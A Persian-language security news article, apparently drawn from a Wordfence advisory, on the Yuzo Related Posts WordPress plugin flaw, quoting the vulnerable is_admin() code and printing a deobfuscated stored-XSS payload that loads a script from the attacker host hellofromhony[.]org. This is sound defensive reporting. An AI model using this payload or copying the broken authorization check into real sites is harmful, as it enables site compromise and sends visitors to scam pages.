گاهی اوقات هک شدن سایتها دلایل خیلی پیچیدهای ندارد و با یک اتفاق ساده مانند یک افزونه آسیب پذیر در وردپرس مواجه هستیم. چنین افزونهای نیز میتواند امنیت سایت ما را تهدید کرده و باعث تخریب شود. چندی پیش خبر حمله به سایت با Easy WP SMTP را شنیدیم که با بروزرسانی افزونه مشکل برطرف شد. امروز نیز افزونه دیگری را معرفی میکنیم که با حذف آن میتوان به جلوگیری از هک شدن در وردپرس کمک کرد.
افزونه Yuzo Related Posts که روی بیش از 60000 سایت وردپرسی نصب بود، در تاریخ 30 مارس 2019 از مخزن وردپرس پاک شد و این امر به خاطر آسیب پذیری ناخواسته این افزونه و بی مسئولیتی توسعه دهندگان بود. در همان روز خبر آسیب پذیری آن توسط یک محقق امنیتی پخش شد. اکنون حملات XSS در حال سوء استفاده از این آسیب پذیری هستند. به نظر میرسد این حملات با حملاتی که به افزونه های Easy WP SMTP و Social Warfare شد ارتباط داشته باشد.
جلوگیری از هک شدن در وردپرس
قابلیت محافظت در برابر حملات XSS در افزونه Wordfence اکنون جلوی این گونه حملات را گرفته و هر دو دسته از افرادی که از نسخه رایگان و پرمیوم این افزونه استفاده میکنند در برابر حملات XSS محافظت خواهند شد. براساس نتایج بررسی عمیق ضعف امنیتی موجود، تیم توسعه دهنده افزونه Wordfence در نسخه جدید قابلیت محافظت در برابر حملات دیگر و جلوگیری از هک شدن در وردپرس را نیز اضافه کرده است. البته کاربرانی که از نسخه رایگان استفاده میکنند، این قابلیتها را کمی دیرتر دریافت خواهند کرد.
تابع ()is_admin حادثه آفرید
آسیب پذیری افزونه Yuzo Related Posts از عدم وجود احراز هویت در قسمتهای مختلف افزونه که مربوط به ذخیره سازی تنظیمات افزونه در پایگاه داده هستند سرچشمه میگیرد. کد زیر در مسیر assets/ilenframework/core.php اصل مشکل افزونه است:
function __construct(){ if( ! is_admin() ){ // only front-end self::set_main_variable(); return; }elseif( is_admin() ){ // only admin // set default if not exists self::_ini_();
بعضی از توسعه دهندگان وردپرس به اشتباه، از تابع ()is_admin برای بررسی اینکه یک قطعه کد که نیازمند امتیاز مدیر کل است باید اجرا شود یا خیر استفاده میکنند، اما طبق مستندات وردپرس، این راه درست استفاده از این تابع نیست. در این سناریو، تابع ()_self::_ini برای تمامی صفحات ادمین مثل /wp-admin/options-general.php و /wp-admin/admin-post.php فراخوانی میشود که باعث شده یک پست به صفحات ذکر شده درخواست پردازش با استفاده از تابع ;()self::save_options ارسال کند تا بعدا توسط کد مذکور انجام شود.
نتیجه حاکی از حضور افزونه آسیب پذیر در وردپرس
نتیجه این است که یک حمله کننده که احراز هویت نشده است میتواند محتوای مخرب به سایت تزریق کند؛ مثل تزریق یک payload جاوا اسکریپت در تنظیمات افزونه که بتواند از این آسیب پذیری استفاده کند. این payload در قالبهای HTML وارد میشود و توسط مرورگر کاربرانی که از این سایتهای خطرناک استفاده میکنند، اجرا میشود. این مشکل امنیتی میتواند منجر به عدم دسترسی افراد به سایت شود یا اینکه آنها را به سایتهای نا امن منتقل کند یا در شرایطی با حساب کاربری ادمین کاری نداشته باشد و با آن مدارا کند. اما به هر حال باید عملیات جلوگیری از هک شدن در وردپرس انجام شود.
سوء استفاده از این شکاف امنیتی میتواند منجر به ریدایرکتهای مشکوک شود
اکنون پس از اینکه این افزونه آسیب پذیر در وردپرس با بی توجهی توسعه دهندگان افشا و وجود آن نیز ثابت شد، برخی از افزاد سودجو شروع به سوء استفاده و بهره برداری از سایتهایی کردند که افزونه Yuzo Related Posts را روی سایت خود نصب کرده بودند.
هم اکنون نیز این سوء استفادهها در برخی از کدهای جاوا اسکریپت مثل کد مقدار yuzo_related_post_css_and_style دیده میشود که بصورت زیر است:
بعد از رفع ابهام، مشخص میشود که کد بالا در حال انجام چه کاری است:
</style><script language=javascript>var elem=document.createElement('script'); elem.type='text/javascript'; elem.async=true; elem.src='https://hellofromhony[.]org/counter'; document.getElementsByTagName('head')[0].appendChild(elem);</script>
وقتی کاربری از سایت تخریب شدهای که شامل payload بالا است، بازدید میکند، به صفحات کلاهبرداری منتقل میشود. مثل صفحه زیر:
3 آسیب پذیری خطرناک و مشترک
تحقیقات نشان می دهد که تعداد حملات برای سوء استفاده از این افزونه آسیب پذیر در وردپرس انجام گرفته است، با تعداد حملاتی که بر روی شکاف امنیتی دو افزونه Social Warfare و Easy WP SMTP انجام گرفته است مشترکاتی دارد.
تا کنون در این حملهها از یک اسکریپت مخرب که در hellofromhony[.]org میزبانی میشود، استفاده شده که تبدیل به آدرس53 [.]176.123.9 خواهد شد؛ همان IP که در حملههای افزونه های Social Warfare و Easy WP SMTP استفاده شد. هر سه این حملهها از نوع stored XSS بود که کدهای مخرب را از طریق این شکاف امنیتی تزریق میکرد و کاربران را به صفحات دیگر و خطرناک ارجاع میداد. اکنون مطمئن هستیم که افراد سودجوی پشت این حملههای مخرب، مشترک هستند. و باید به سرعت عملیات جلوگیری از هک شدن در وردپرس را آغاز کرد.
نتیجه نهایی
همانطور که گفته شد، شکاف امنیتی یکی از افزونه های محبوب فاش شد که افرادی از این شکافهای امنیتی سوء استفاده کردند. همین امر، موضوع داشتن یک رویکرد امنیتی که شامل فایروال وردپرس میشود را برجستهتر میکند.
سایتهایی که این افزونه را نصب کردهاند، باید فورا آن را پاک کنند؛ حداقل تا زمانی که توسعه دهندگان این افزونه نسخه امن آن را ارائه کنند. کاربرانی که از افزونه Wordfence استفاده میکنند از شر این حملات در امان هستند. قوانین فایروال جدیدی بر روی افزونه قرار گرفته است که جلوی این حملات مخرب را بگیرد و طی چند روز آینده روی نسخه رایگان نیز اعمال خواهد شد.
منابع: